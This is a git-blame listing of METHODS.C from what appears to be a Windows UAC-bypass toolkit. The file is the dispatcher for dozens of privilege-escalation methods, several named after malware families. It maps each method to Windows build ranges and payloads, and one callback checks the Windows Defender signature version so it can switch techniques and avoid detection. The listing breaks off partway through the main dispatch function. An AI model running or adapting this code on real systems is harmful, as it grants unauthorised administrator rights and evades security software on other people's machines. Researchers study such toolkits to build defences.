2017-03-25 12:39:31 +00:00
|
|
|
/*******************************************************************************
|
|
|
|
*
|
2019-12-18 18:01:17 +00:00
|
|
|
* (C) COPYRIGHT AUTHORS, 2015 - 2020
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
* TITLE: METHODS.C
|
|
|
|
*
|
2019-12-18 18:01:17 +00:00
|
|
|
* VERSION: 3.23
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
2019-12-18 18:01:17 +00:00
|
|
|
* DATE: 17 Dec 2019
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
* UAC bypass dispatch.
|
|
|
|
*
|
|
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
|
|
* PARTICULAR PURPOSE.
|
|
|
|
*
|
|
|
|
*******************************************************************************/
|
|
|
|
#include "global.h"
|
|
|
|
|
|
|
|
UCM_API(MethodTest);
|
|
|
|
UCM_API(MethodSysprep);
|
2017-12-17 03:58:48 +00:00
|
|
|
UCM_API(MethodACRedirectEXE);
|
|
|
|
UCM_API(MethodACBinaryPath);
|
2017-03-25 12:39:31 +00:00
|
|
|
UCM_API(MethodSimda);
|
|
|
|
UCM_API(MethodCarberp);
|
|
|
|
UCM_API(MethodAVrf);
|
|
|
|
UCM_API(MethodWinsat);
|
|
|
|
UCM_API(MethodMMC);
|
|
|
|
UCM_API(MethodMMC2);
|
|
|
|
UCM_API(MethodSirefef);
|
|
|
|
UCM_API(MethodGeneric);
|
|
|
|
UCM_API(MethodGWX);
|
|
|
|
UCM_API(MethodSysprep4);
|
|
|
|
UCM_API(MethodManifest);
|
|
|
|
UCM_API(MethodInetMg);
|
2017-06-30 05:59:47 +00:00
|
|
|
UCM_API(MethodSXS);
|
2017-03-25 12:39:31 +00:00
|
|
|
UCM_API(MethodDism);
|
|
|
|
UCM_API(MethodComet);
|
|
|
|
UCM_API(MethodEnigma0x3);
|
|
|
|
UCM_API(MethodEnigma0x3_2);
|
|
|
|
UCM_API(MethodExpLife);
|
|
|
|
UCM_API(MethodSandworm);
|
|
|
|
UCM_API(MethodEnigma0x3_3);
|
|
|
|
UCM_API(MethodWow64Logger);
|
|
|
|
UCM_API(MethodEnigma0x3_4);
|
2017-05-09 03:39:44 +00:00
|
|
|
UCM_API(MethodUiAccess);
|
2017-05-26 09:23:18 +00:00
|
|
|
UCM_API(MethodMsSettings);
|
|
|
|
UCM_API(MethodTyranid);
|
2017-05-27 11:01:47 +00:00
|
|
|
UCM_API(MethodTokenMod);
|
2017-06-22 07:17:35 +00:00
|
|
|
UCM_API(MethodJunction);
|
2017-06-30 05:59:47 +00:00
|
|
|
UCM_API(MethodSXSDccw);
|
2017-07-13 13:12:55 +00:00
|
|
|
UCM_API(MethodHakril);
|
2017-07-21 10:31:38 +00:00
|
|
|
UCM_API(MethodCorProfiler);
|
2017-07-30 07:01:34 +00:00
|
|
|
UCM_API(MethodCOMHandlers);
|
2017-08-16 04:57:52 +00:00
|
|
|
UCM_API(MethodCMLuaUtil);
|
2017-11-10 06:31:20 +00:00
|
|
|
UCM_API(MethodFwCplLua);
|
|
|
|
UCM_API(MethodDccwCOM);
|
2017-11-22 09:54:51 +00:00
|
|
|
UCM_API(MethodVolatileEnv);
|
2018-01-15 10:53:43 +00:00
|
|
|
UCM_API(MethodSluiHijack);
|
2018-01-19 10:41:27 +00:00
|
|
|
UCM_API(MethodBitlockerRC);
|
2018-05-25 08:27:20 +00:00
|
|
|
UCM_API(MethodCOMHandlers2);
|
2018-06-15 11:44:01 +00:00
|
|
|
UCM_API(MethodSPPLUAObject);
|
2018-09-02 07:28:59 +00:00
|
|
|
UCM_API(MethodCreateNewLink);
|
|
|
|
UCM_API(MethodDateTimeStateWriter);
|
|
|
|
UCM_API(MethodAcCplAdmin);
|
2018-11-10 09:42:19 +00:00
|
|
|
UCM_API(MethodDirectoryMock);
|
2019-03-16 07:22:48 +00:00
|
|
|
UCM_API(MethodShellSdctl);
|
2019-01-25 06:42:24 +00:00
|
|
|
UCM_API(MethodEgre55);
|
2019-02-17 05:01:05 +00:00
|
|
|
UCM_API(MethodTokenModUIAccess);
|
2019-03-16 07:22:48 +00:00
|
|
|
UCM_API(MethodShellWSReset);
|
2019-10-24 04:33:03 +00:00
|
|
|
UCM_API(MethodEditionUpgradeManager);
|
2019-12-18 18:01:17 +00:00
|
|
|
UCM_API(MethodDebugObject);
|
2018-09-02 07:28:59 +00:00
|
|
|
|
|
|
|
UCM_EXTRA_CONTEXT WDCallbackType1;
|
|
|
|
|
2019-12-19 04:45:51 +00:00
|
|
|
#define UCM_WIN32_NOT_IMPLEMENTED_COUNT 5
|
2018-09-02 07:28:59 +00:00
|
|
|
ULONG UCM_WIN32_NOT_IMPLEMENTED[UCM_WIN32_NOT_IMPLEMENTED_COUNT] = {
|
|
|
|
UacMethodMMC1,
|
|
|
|
UacMethodInetMgr,
|
|
|
|
UacMethodWow64Logger,
|
|
|
|
UacMethodDateTimeWriter,
|
2019-10-24 04:33:03 +00:00
|
|
|
UacMethodEditionUpgradeMgr
|
2018-09-02 07:28:59 +00:00
|
|
|
};
|
2018-07-14 17:15:02 +00:00
|
|
|
|
2017-03-25 12:39:31 +00:00
|
|
|
UCM_API_DISPATCH_ENTRY ucmMethodsDispatchTable[UCM_DISPATCH_ENTRY_MAX] = {
|
|
|
|
{ MethodTest, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodSysprep, NULL, { 7600, 9600 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodSysprep, NULL, { 9600, 10240 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodSysprep, NULL, { 7600, 10548 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
2017-12-17 03:58:48 +00:00
|
|
|
{ MethodACRedirectEXE, NULL, { 7600, 10240 }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
|
2017-03-25 12:39:31 +00:00
|
|
|
{ MethodSimda, NULL, { 7600, 10136 }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE },
|
|
|
|
{ MethodCarberp, NULL, { 7600, 10147 }, FUBUKI_ID, FALSE, FALSE, TRUE },
|
|
|
|
{ MethodCarberp, NULL, { 7600, 10147 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodSysprep, NULL, { 7600, 9600 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodAVrf, NULL, { 7600, 10136 }, HIBIKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodWinsat, NULL, { 7600, 10548 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
2017-12-17 03:58:48 +00:00
|
|
|
{ MethodACBinaryPath, NULL, { 7600, 10240 }, FUBUKI_ID, TRUE, FALSE, TRUE },
|
2017-03-25 12:39:31 +00:00
|
|
|
{ MethodSysprep, NULL, { 10240, 10586 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodMMC, NULL, { 7600, 14316 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodSirefef, NULL, { 7600, 10548 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodGeneric, NULL, { 7600, 14316 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodGWX, NULL, { 7600, 14316 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodSysprep4, NULL, { 9600, 14367 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodManifest, NULL, { 7600, 14367 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodInetMg, NULL, { 7600, 14367 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
2017-06-30 05:59:47 +00:00
|
|
|
{ MethodMMC2, NULL, { 7600, 16232 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodSXS, NULL, { 7600, 16232 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodSXS, NULL, { 7600, MAXDWORD }, IKAZUCHI_ID, FALSE, TRUE, TRUE },
|
2017-03-25 12:39:31 +00:00
|
|
|
{ MethodDism, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodComet, NULL, { 7600, 15031 }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
|
|
|
|
{ MethodEnigma0x3, NULL, { 7600, 15031 }, FUBUKI_ID, FALSE, TRUE, FALSE },
|
|
|
|
{ MethodEnigma0x3_2, NULL, { 7600, 15031 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
2017-05-26 09:23:18 +00:00
|
|
|
{ MethodExpLife, NULL, { 7600, 16199 }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE },
|
2017-03-25 12:39:31 +00:00
|
|
|
{ MethodSandworm, NULL, { 7600, 9600 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
2017-06-22 07:17:35 +00:00
|
|
|
{ MethodEnigma0x3_3, NULL, { 10240, 16215 }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE },
|
2017-03-25 12:39:31 +00:00
|
|
|
{ MethodWow64Logger, NULL, { 7600, MAXDWORD }, AKATSUKI_ID, FALSE, TRUE, TRUE },
|
2017-10-30 03:30:38 +00:00
|
|
|
{ MethodEnigma0x3_4, NULL, {10240, 17000 }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
|
2017-05-26 09:23:18 +00:00
|
|
|
{ MethodUiAccess, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
|
|
|
{ MethodMsSettings, NULL, { 10240, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
|
2017-05-27 11:01:47 +00:00
|
|
|
{ MethodTyranid, NULL, { 9600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
|
2018-06-12 18:33:49 +00:00
|
|
|
{ MethodTokenMod, NULL, { 7600, 17686 }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
|
2017-06-30 05:59:47 +00:00
|
|
|
{ MethodJunction, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
2017-07-13 13:12:55 +00:00
|
|
|
{ MethodSXSDccw, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
2019-12-19 04:45:51 +00:00
|
|
|
{ MethodHakril, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, FALSE, TRUE },
|
2017-07-30 07:01:34 +00:00
|
|
|
{ MethodCorProfiler, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
2019-05-22 13:10:25 +00:00
|
|
|
{ MethodCOMHandlers, NULL, { 7600, 18362 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
2017-11-08 05:42:05 +00:00
|
|
|
{ MethodCMLuaUtil, NULL, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE },
|
2018-09-30 05:51:47 +00:00
|
|
|
{ MethodFwCplLua, &WDCallbackType1, { 7600, 17134 }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE },
|
2017-11-22 09:54:51 +00:00
|
|
|
{ MethodDccwCOM, NULL, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE },
|
2018-01-15 10:53:43 +00:00
|
|
|
{ MethodVolatileEnv, NULL, { 7600, 16229 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
2018-09-02 07:28:59 +00:00
|
|
|
{ MethodSluiHijack, &WDCallbackType1, { 9600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
|
2018-05-25 08:27:20 +00:00
|
|
|
{ MethodBitlockerRC, NULL, { 7600, 16300 }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
|
2019-05-22 13:10:25 +00:00
|
|
|
{ MethodCOMHandlers2, &WDCallbackType1, { 7600, 18362 }, FUJINAMI_ID, FALSE, TRUE, TRUE },
|
2018-09-30 05:51:47 +00:00
|
|
|
{ MethodSPPLUAObject, NULL, { 7600, 17763 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
2018-09-02 07:28:59 +00:00
|
|
|
{ MethodCreateNewLink, NULL, { 7600, 14393 }, FUBUKI_ID, FALSE, FALSE, TRUE },
|
2018-09-30 05:51:47 +00:00
|
|
|
{ MethodDateTimeStateWriter, NULL, { 7600, 17763 }, CHIYODA_ID, FALSE, TRUE, TRUE },
|
2018-11-10 09:42:19 +00:00
|
|
|
{ MethodAcCplAdmin, NULL, { 7600, 17134 }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE },
|
2019-01-25 06:42:24 +00:00
|
|
|
{ MethodDirectoryMock, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
2019-05-22 13:10:25 +00:00
|
|
|
{ MethodShellSdctl, &WDCallbackType1, { 14393, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
|
2019-09-02 08:45:49 +00:00
|
|
|
{ MethodEgre55, NULL, { 14393, 18362 }, FUBUKI_ID, TRUE, FALSE, TRUE },
|
2019-03-16 07:22:48 +00:00
|
|
|
{ MethodTokenModUIAccess, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, FALSE },
|
2019-05-22 13:10:25 +00:00
|
|
|
{ MethodShellWSReset, &WDCallbackType1, { 17134, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
|
2019-10-24 04:33:03 +00:00
|
|
|
{ MethodSysprep, NULL, { 7600, 9600 }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
2019-12-18 18:01:17 +00:00
|
|
|
{ MethodEditionUpgradeManager, NULL, { 14393, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
|
2019-12-19 04:45:51 +00:00
|
|
|
{ MethodDebugObject, NULL, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE }
|
2017-03-25 12:39:31 +00:00
|
|
|
};
|
|
|
|
|
2019-05-22 13:10:25 +00:00
|
|
|
#define WDCallbackTypeMagicVer1 282647531814912
|
|
|
|
#define WDCallbackTypeMagicVer2 282733539622912
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
|
2018-08-05 05:26:27 +00:00
|
|
|
/*
|
2018-09-02 07:28:59 +00:00
|
|
|
* SetMethodExecutionType
|
2018-08-05 05:26:27 +00:00
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
2018-09-02 07:28:59 +00:00
|
|
|
* ExtraContext callback.
|
2018-08-05 05:26:27 +00:00
|
|
|
*
|
|
|
|
*/
|
2019-03-19 08:47:16 +00:00
|
|
|
NTSTATUS CALLBACK SetMethodExecutionType(
|
2018-09-02 07:28:59 +00:00
|
|
|
_In_ PVOID Parameter
|
2018-08-05 05:26:27 +00:00
|
|
|
)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
#ifdef _DEBUG
|
|
|
|
WCHAR szBuffer[100];
|
|
|
|
#endif
|
2018-11-21 05:14:29 +00:00
|
|
|
UCM_METHOD Method = (UCM_METHOD)PtrToUlong(Parameter);
|
2018-09-02 07:28:59 +00:00
|
|
|
MPCOMPONENT_VERSION SignatureVersion;
|
2018-08-05 05:26:27 +00:00
|
|
|
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->hMpClient == NULL)
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_DLL_NOT_FOUND;
|
2018-09-02 07:28:59 +00:00
|
|
|
|
|
|
|
if (wdIsEnabled() != STATUS_TOO_MANY_SECRETS)
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_NOT_FOUND;
|
2018-09-02 07:28:59 +00:00
|
|
|
|
|
|
|
RtlSecureZeroMemory(&SignatureVersion, sizeof(SignatureVersion));
|
|
|
|
|
|
|
|
if (wdGetAVSignatureVersion(&SignatureVersion)) {
|
|
|
|
|
|
|
|
#ifdef _DEBUG
|
|
|
|
szBuffer[0] = 0;
|
|
|
|
u64tostr(SignatureVersion.Version, &szBuffer[0]);
|
|
|
|
OutputDebugString(szBuffer);
|
|
|
|
#endif
|
|
|
|
|
|
|
|
//
|
|
|
|
// In fact it doesn't matter as their detection based on totally
|
|
|
|
// fucked up behavior rules which observation produced mixed results.
|
|
|
|
// We keep this as it doesn't affect program work.
|
|
|
|
//
|
|
|
|
switch (Method) {
|
|
|
|
|
|
|
|
case UacMethodSluiHijack:
|
2019-05-22 13:10:25 +00:00
|
|
|
if (SignatureVersion.Version >= WDCallbackTypeMagicVer1) {
|
2018-12-12 07:44:47 +00:00
|
|
|
g_ctx->MethodExecuteType = ucmExTypeRegSymlink;
|
2018-09-02 07:28:59 +00:00
|
|
|
}
|
|
|
|
else {
|
2018-12-12 07:44:47 +00:00
|
|
|
g_ctx->MethodExecuteType = ucmExTypeDefault;
|
2018-09-02 07:28:59 +00:00
|
|
|
}
|
|
|
|
break;
|
2018-10-01 08:46:18 +00:00
|
|
|
case UacMethodFwCplLua:
|
2019-05-22 13:10:25 +00:00
|
|
|
if (SignatureVersion.Version >= WDCallbackTypeMagicVer1) {
|
|
|
|
g_ctx->MethodExecuteType = ucmExTypeIndirectModification;
|
|
|
|
}
|
|
|
|
else {
|
|
|
|
g_ctx->MethodExecuteType = ucmExTypeDefault;
|
|
|
|
}
|
|
|
|
break;
|
|
|
|
|
|
|
|
case UacMethodCOMHandlers2:
|
|
|
|
case UacMethodShellSdclt:
|
|
|
|
case UacMethodShellWSReset:
|
|
|
|
if (SignatureVersion.Version >= WDCallbackTypeMagicVer2) {
|
2018-12-12 07:44:47 +00:00
|
|
|
g_ctx->MethodExecuteType = ucmExTypeIndirectModification;
|
2018-10-01 08:46:18 +00:00
|
|
|
}
|
|
|
|
else {
|
2018-12-12 07:44:47 +00:00
|
|
|
g_ctx->MethodExecuteType = ucmExTypeDefault;
|
2018-10-01 08:46:18 +00:00
|
|
|
}
|
|
|
|
break;
|
2018-09-02 07:28:59 +00:00
|
|
|
|
|
|
|
default:
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_SUCCESS;
|
2018-08-05 05:26:27 +00:00
|
|
|
}
|
|
|
|
|
2018-07-14 17:15:02 +00:00
|
|
|
/*
|
2018-09-02 07:28:59 +00:00
|
|
|
* IsMethodImplementedForWin32
|
2018-07-14 17:15:02 +00:00
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
2018-09-02 07:28:59 +00:00
|
|
|
* Check if method implemented in win32 version.
|
2018-07-14 17:15:02 +00:00
|
|
|
*
|
|
|
|
*/
|
2018-09-02 07:28:59 +00:00
|
|
|
__forceinline BOOL IsMethodImplementedForWin32(
|
|
|
|
_In_ UCM_METHOD Method)
|
2018-07-14 17:15:02 +00:00
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
UINT i;
|
|
|
|
for (i = 0; i < UCM_WIN32_NOT_IMPLEMENTED_COUNT; i++)
|
|
|
|
if (UCM_WIN32_NOT_IMPLEMENTED[i] == (ULONG)Method)
|
|
|
|
return FALSE;
|
|
|
|
return TRUE;
|
2018-07-14 17:15:02 +00:00
|
|
|
}
|
|
|
|
|
2017-03-25 12:39:31 +00:00
|
|
|
/*
|
|
|
|
* IsMethodMatchRequirements
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Check system requirements of the given method.
|
|
|
|
*
|
|
|
|
*/
|
2019-03-19 08:47:16 +00:00
|
|
|
NTSTATUS IsMethodMatchRequirements(
|
2017-03-25 12:39:31 +00:00
|
|
|
_In_ PUCM_API_DISPATCH_ENTRY Entry
|
|
|
|
)
|
|
|
|
{
|
2018-12-12 07:44:47 +00:00
|
|
|
#ifdef _DEBUG
|
|
|
|
UNREFERENCED_PARAMETER(Entry);
|
|
|
|
#else
|
2017-03-25 12:39:31 +00:00
|
|
|
WCHAR szMessage[MAX_PATH];
|
|
|
|
//
|
|
|
|
// Check Wow64 flags first. Disable this check for debugging build.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->IsWow64) {
|
2017-03-25 12:39:31 +00:00
|
|
|
if (Entry->DisallowWow64) {
|
2018-12-12 07:44:47 +00:00
|
|
|
ucmShowMessage(g_ctx->OutputToDebugger, WOW64STRING);
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_NOT_SUPPORTED;
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
#ifdef _WIN64
|
|
|
|
else {
|
|
|
|
//
|
|
|
|
// Not required if Win32.
|
|
|
|
//
|
|
|
|
if (Entry->Win32OrWow64Required != FALSE) {
|
2018-12-12 07:44:47 +00:00
|
|
|
ucmShowMessage(g_ctx->OutputToDebugger, WOW64WIN32ONLY);
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_NOT_SUPPORTED;
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
#endif //_WIN64
|
|
|
|
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
// Check availability. Disable this check for debugging build.
|
2017-03-25 12:39:31 +00:00
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->dwBuildNumber < Entry->Availability.MinumumWindowsBuildRequired) {
|
2017-03-25 12:39:31 +00:00
|
|
|
RtlSecureZeroMemory(&szMessage, sizeof(szMessage));
|
|
|
|
_strcpy(szMessage, L"Current Windows Build: ");
|
2018-12-12 07:44:47 +00:00
|
|
|
ultostr(g_ctx->dwBuildNumber, _strend(szMessage));
|
2017-03-25 12:39:31 +00:00
|
|
|
_strcat(szMessage, L"\nMinimum Windows Build Required: ");
|
2017-07-13 13:12:55 +00:00
|
|
|
ultostr(Entry->Availability.MinumumWindowsBuildRequired, _strend(szMessage));
|
2017-03-25 12:39:31 +00:00
|
|
|
_strcat(szMessage, L"\nAborting execution.");
|
2018-12-12 07:44:47 +00:00
|
|
|
ucmShowMessage(g_ctx->OutputToDebugger, szMessage);
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_NOT_SUPPORTED;
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->dwBuildNumber >= Entry->Availability.MinimumExpectedFixedWindowsBuild) {
|
2017-03-25 12:39:31 +00:00
|
|
|
if (ucmShowQuestion(UACFIX) == IDNO) {
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_NOT_SUPPORTED;
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
#endif
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_SUCCESS;
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
/*
|
|
|
|
* SetupExtraContextCalbacks
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Configure extra context callbacks.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
VOID SetupExtraContextCalbacks(
|
|
|
|
_In_ UCM_METHOD Method,
|
|
|
|
_In_ PUCM_EXTRA_CONTEXT Context
|
|
|
|
)
|
|
|
|
{
|
|
|
|
switch (Method) {
|
|
|
|
case UacMethodSluiHijack:
|
|
|
|
case UacMethodFwCplLua:
|
2019-05-22 13:10:25 +00:00
|
|
|
case UacMethodCOMHandlers2:
|
|
|
|
case UacMethodShellSdclt:
|
|
|
|
case UacMethodShellWSReset:
|
2018-09-02 07:28:59 +00:00
|
|
|
Context->Parameter = ULongToPtr(Method);
|
|
|
|
Context->Routine = SetMethodExecutionType;
|
|
|
|
break;
|
|
|
|
default:
|
|
|
|
Context->Parameter = NULL;
|
|
|
|
Context->Routine = NULL;
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2019-03-11 07:09:55 +00:00
|
|
|
/*
|
|
|
|
* PostCleanupAttempt
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Attempt to cleanup left overs.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
VOID PostCleanupAttempt(
|
|
|
|
_In_ UCM_METHOD Method
|
|
|
|
)
|
|
|
|
{
|
|
|
|
switch (Method) {
|
|
|
|
|
2019-03-19 08:47:16 +00:00
|
|
|
case UacMethodSysprep1:
|
|
|
|
case UacMethodSysprep2:
|
|
|
|
case UacMethodSysprep3:
|
|
|
|
case UacMethodSysprep4:
|
2019-03-29 18:06:01 +00:00
|
|
|
case UacMethodSysprep5:
|
2019-03-19 08:47:16 +00:00
|
|
|
case UacMethodTilon:
|
|
|
|
ucmSysprepMethodsCleanup(Method);
|
|
|
|
break;
|
|
|
|
|
|
|
|
case UacMethodOobe:
|
|
|
|
ucmOobeMethodCleanup();
|
|
|
|
break;
|
|
|
|
|
2019-03-11 07:09:55 +00:00
|
|
|
case UacMethodAVrf:
|
|
|
|
ucmMethodCleanupSingleItemSystem32(HIBIKI_DLL);
|
|
|
|
break;
|
|
|
|
|
|
|
|
case UacMethodDISM:
|
|
|
|
ucmMethodCleanupSingleItemSystem32(DISMCORE_DLL);
|
|
|
|
break;
|
|
|
|
|
2019-03-17 05:31:35 +00:00
|
|
|
case UacMethodWow64Logger:
|
|
|
|
ucmMethodCleanupSingleItemSystem32(WOW64LOG_DLL);
|
|
|
|
break;
|
|
|
|
|
|
|
|
case UacMethodGeneric:
|
|
|
|
ucmMethodCleanupSingleItemSystem32(NTWDBLIB_DLL);
|
|
|
|
break;
|
|
|
|
|
2019-03-11 07:09:55 +00:00
|
|
|
case UacMethodJunction:
|
|
|
|
ucmJunctionMethodCleanup();
|
|
|
|
break;
|
|
|
|
|
2019-03-17 05:31:35 +00:00
|
|
|
case UacMethodSirefef:
|
|
|
|
ucmSirefefMethodCleanup();
|
|
|
|
break;
|
|
|
|
|
|
|
|
case UacMethodMMC1:
|
|
|
|
case UacMethodMMC2:
|
|
|
|
ucmMMCMethodCleanup(Method);
|
|
|
|
break;
|
|
|
|
|
2019-03-11 07:09:55 +00:00
|
|
|
case UacMethodSXS:
|
|
|
|
ucmSXSMethodCleanup(FALSE);
|
|
|
|
break;
|
|
|
|
|
|
|
|
case UacMethodSXSConsent:
|
|
|
|
ucmSXSMethodCleanup(TRUE);
|
|
|
|
break;
|
|
|
|
|
|
|
|
case UacMethodSXSDccw:
|
|
|
|
ucmSXSDccwMethodCleanup();
|
|
|
|
break;
|
|
|
|
|
2019-03-16 07:22:48 +00:00
|
|
|
case UacMethodHakril:
|
|
|
|
ucmHakrilMethodCleanup();
|
|
|
|
break;
|
|
|
|
|
2019-03-17 05:31:35 +00:00
|
|
|
case UacMethodCreateNewLink:
|
|
|
|
ucmCreateNewLinkMethodCleanup();
|
|
|
|
break;
|
|
|
|
|
2019-10-24 04:33:03 +00:00
|
|
|
case UacMethodEditionUpgradeMgr:
|
|
|
|
ucmEditionUpgradeManagerMethodCleanup();
|
|
|
|
break;
|
|
|
|
|
2019-03-11 07:09:55 +00:00
|
|
|
default:
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2017-03-25 12:39:31 +00:00
|
|
|
/*
|
|
|
|
* MethodsManagerCall
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Run method by method id.
|
|
|
|
*
|
|
|
|
*/
|
2019-03-19 08:47:16 +00:00
|
|
|
NTSTATUS MethodsManagerCall(
|
2017-03-25 12:39:31 +00:00
|
|
|
_In_ UCM_METHOD Method
|
|
|
|
)
|
|
|
|
{
|
2019-03-19 08:47:16 +00:00
|
|
|
BOOL bParametersBlockSet = FALSE;
|
|
|
|
NTSTATUS MethodResult, Status;
|
|
|
|
ULONG PayloadSize = 0, DataSize = 0;
|
|
|
|
PVOID PayloadCode = NULL, Resource = NULL;
|
|
|
|
PVOID ImageBaseAddress = g_hInstance;
|
|
|
|
|
2017-03-25 12:39:31 +00:00
|
|
|
PUCM_API_DISPATCH_ENTRY Entry;
|
2018-09-02 07:28:59 +00:00
|
|
|
PUCM_EXTRA_CONTEXT ExtraContext;
|
2019-03-16 07:22:48 +00:00
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UCM_PARAMS_BLOCK ParamsBlock;
|
2018-11-13 09:58:29 +00:00
|
|
|
LARGE_INTEGER liDueTime;
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-12-17 03:58:48 +00:00
|
|
|
if (Method >= UacMethodMax)
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_INVALID_PARAMETER;
|
2017-12-17 03:58:48 +00:00
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
//
|
|
|
|
// Is method implemented for Win32?
|
|
|
|
//
|
|
|
|
#ifndef _WIN64
|
|
|
|
if (!IsMethodImplementedForWin32(Method)) {
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_NOT_SUPPORTED;
|
2018-09-02 07:28:59 +00:00
|
|
|
}
|
|
|
|
#endif //_WIN64
|
|
|
|
|
2017-03-25 12:39:31 +00:00
|
|
|
